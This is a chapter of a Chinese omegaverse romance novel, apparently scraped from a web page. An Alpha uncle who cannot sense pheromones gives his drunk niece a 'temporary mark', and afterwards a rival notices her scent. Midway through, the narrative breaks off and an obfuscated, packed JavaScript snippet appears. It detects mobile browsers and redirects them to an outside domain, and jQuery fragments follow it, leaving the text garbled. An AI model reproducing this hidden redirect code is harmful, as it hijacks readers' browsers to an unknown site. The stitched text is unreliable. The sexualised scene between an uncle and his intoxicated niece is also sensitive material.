利亚没有信息素,这是一个秘密。
从外表看,他是再典型不过的Alpha。肌肉覆在高大的骨架上,气势强得逼人。性格冷漠又唯我独尊,从进入军校开始就名列前茅,直到毕业走上了商业的道路。
除了分化期来得晚一些。
那时身边的Alpha都完成了分化,各个和蜕壳后一般,即使没有炫耀的意思,也能从身形和肌肉看出不同。那些不同在利亚面前又显得格外明显,甚至有些刺眼了。
他来到了黑市,在这里买了一支药剂。在竞技场这是很常用的东西,用来改造那些平民Alpha,让他们成为“比赛机器”,但本质还是一种提高Alpha血清浓度含量的催化剂。
药剂打下去时痛感很明显,他咬着牙,汗水把暗金色的头发打湿,没有发出任何声音。中途昏睡了一次,醒来又把剩下半支打完了。当然很痛,但他一直很能忍,连闷哼都没有发出。
效果很好,没过多久就进入了分化期。
但售卖时,那人说的后遗症很明显。他的分化期比一般Alpha要猛烈的多,而且等他退烧后,得到的是冰冷的诊断结果——
信息素识别障碍。
简单来说,就是无法散发出Alpha的信息素,也闻不到Omega的信息素。
但除此之外,和其他Alpha并没有差别。利亚想着,也并没有后悔。等待分化期的每一天都很漫长,而他无法接受作为Beta的结果。所以信息素而已,这只是付出了很小、很小的代价。
他明白自己性格中果断又冷漠的部分,如果再来一次的话,他还是会做出这个选择。毕竟在那时,成为Alpha对他来说价值更大。
但掌管商业帝国之后,他也寻找了一些方法,看看能否治愈这个病症。可结果都是徒劳无功。在宴会上,不论是什么样的Omega,他都没有任何感觉,因此拒绝了许多联姻。
而且对于这部分过去,他想要彻底封存。因此他用洁癖进行掩盖,提到黑市时,就会流露出难以抑制的厌恶。
但……思绪只混乱了一阵,利亚很快从回忆中抽离出来。
他看着眼前洁白又纤细的后颈,喉结滚动了一下。
收到定位消息的时候,他正在和凯曼交谈。作为忒斯卡的继承人加侄女婿,他们未来会有很多明里暗里的合作。尽管他一眼就能看出,这个紫发Alpha面上的礼貌只是伪装,表面下隐隐有着傲慢。
但谁在意呢?只要他们在一条船上就好。
终端震动,他垂眸,不经意地看了一眼。思考了一瞬,随后还是告别了凯曼,向着二楼的休息室走去。
推开门时,他看到躺在沙发上的妮芙。
她对他的脚步声毫无所察,似乎已经陷入了沉睡,但呼吸并不平稳。从脸颊到脖颈泛着粉红色,睫毛微微颤抖。
一副毫无防备的样子。利亚冷漠地判断,果然是在下城区长大,摄入一点酒精就成了这幅样子。即使经过礼仪训练,表面看上去稍微像个贵族,骨子里却还是不同的。
可稍微靠近,准备将她叫醒时,利亚却忍不住微微皱眉。他突然发现,空气中有淡淡的香味。
是一种果香,但似乎又不是真正的水果,而是一种陌生的、独特的味道。或许是因为Alpha的本能,即使从未闻到过,在这一瞬间,他也立刻意识到——
这是Omega的信息素。
源头已经再明显不过,就是躺在沙发上的妮芙。利亚一边仔细嗅闻,一边冷静地思索。
为什么会突然能闻到?是身体有什么变化吗?已经痊愈了?是只针对她,还是其他Omega也可以……
他一连想了很多问题,但无论如何,都要先离开这里。于是利亚上前一步,冷声呼唤她的名字。
可她居然拽住了他的衣角。
利亚眉头微皱,视线落在她纤细的手指上。力度很轻,轻易可以挣开。可不知为何,他没有动作,只是垂着眸,视线晦暗,想看看她要做什么。
她呢喃着,“帮帮我……”
他走近,停在妮芙的身侧。一只手捏住她的下巴,强迫她抬头看向自己。比起她滚烫的皮肤,他的手指很冰凉。
利亚冷笑一声,质疑道:“你凭什么认为,我会帮你?”
妮芙似乎没反应过来,视线迷迷糊糊地看过来。她的眼睛是沉黑的,平常像是平静的湖泊,现在却被搅成一团。
她想了一下,突然回忆起什么一般,缓缓地说:“小叔不是答应我了吗?满足我的一个要求。”
“临时标记……这就是我的要求。”
这时利亚沉默了一下,颇为良好的记忆力让他很快回忆起在书房的对话。但比起他签署过的合同,这不过是一句不正式的、连文件都没有的口头承诺,他可以轻易拒绝。
而且他面前的Omega,是他兄长的女儿,也是一位贵族的未婚妻。无论从道德还是礼法上,他都不该这么做。
但……“临时标记”,多么陌生又熟悉的词语。
他在心里咀嚼了一下,感觉心跳的频率都加快了。从分化开始,他从未有过这种感觉。对Alpha来说,标记是多么简单的动作,可对他来说,这像是永远无法实现的梦。
属于Alpha的本能驱使着利亚,他在沙发上落座,一把将妮芙拽进怀里。利齿刺入腺体时,他几乎发出了满足的喟叹。
但在没有注意到的角落,一种不满足的感觉也悄悄漫上心脏。
“既然你祈求,”他说:“那就如你所愿。”
……
妮芙感觉自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997204|178232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识清醒了许多。
起身时整理了一下基本没乱的衣裙,把盘起的长发散下来,盖住了腺体。跟在利亚身侧走出去时,还有些没有力气,所以下楼时稍微搭了一下他的手臂。
他转过来看她一眼。楼梯的灯光很昏暗,因此看不清他的表情。不过他没有把她的手拂下去,而是顿了顿,接着往下走。
妮芙就默认他同意了。
走到礼堂时远远看见凯曼和文森特,他们正在和人交谈。文森特看到他们一副要离开的样子,立刻走过来。出于礼貌,凯曼也跟过来。
两人寒暄了一下,文森特说:“……利亚先生,妮芙小姐,我们下次见。”
妮芙微笑:“感谢招待。”
听到这句话,凯曼停下脚步,在文森特和她之间不留痕迹地看了看,神色没有任何变化。他明显和利亚更相熟一点,两人交谈了几句,似乎和政治有关系。然后他伸出手,两人握了一下。
出于礼貌,他又向妮芙伸出手,语气温柔地说:“妮芙小姐,招待不周。”
妮芙的视线落在他的手上。白色的手套,很高级的材质,勾勒出手的线条,指节修长有力。
她轻轻微笑了一下,伸手回握。手套的触感很冰凉,材质摸起来很舒服。
她冷淡又官方地说:“凯曼先生,太客气了。”
凯曼顿了顿,视线落在她的手上。皮肤很白皙,但似乎有着细微的红痕。
他微微皱眉地看了她一眼,像是在思考原因。但这个表情几乎无法察觉,他自然地收回了视线,问:“妮芙小姐,似乎换了发型?”
“刚才喝了文森特先生给的酒,有些犯困,在休息室睡了一觉。把我的发型都弄乱了……”
妮芙坦然地解释,口吻中略有抱怨,向着文森特那边看了一眼。
文森特没有否认,而是开口道歉:“是我的错,选取的酒度数有些高,没想到妮芙小姐酒量并不好。”不过道歉的语气轻飘飘的,没多少歉意,像是被按头道歉的猫。
“没关系,味道不错。”
妮芙回答完,伸手拽了拽利亚的袖子,用一种亲近的口吻说:“小叔,我累了,我们回去吧。”
“好。”
等他们的身影消失后,文森特端着酒杯晃了晃,轻轻嗅了一下空气,动作一顿。
等等,这个味道?
他突然意识到,刚刚妮芙走过时,空气中残留的香味。礼堂路过的人太多,因此香水味混合在一起,十分繁杂。
但仔细分辨时就会发现,那并不是香水味,而是信息素的味道。
桃子的清香。
文森特忍不住吞咽了一下,桃子的口感又在唇齿中浮现了一般,他忍不住滚动了一下喉结。眼睛里燃起一丝兴味。
这就是……奖励吗?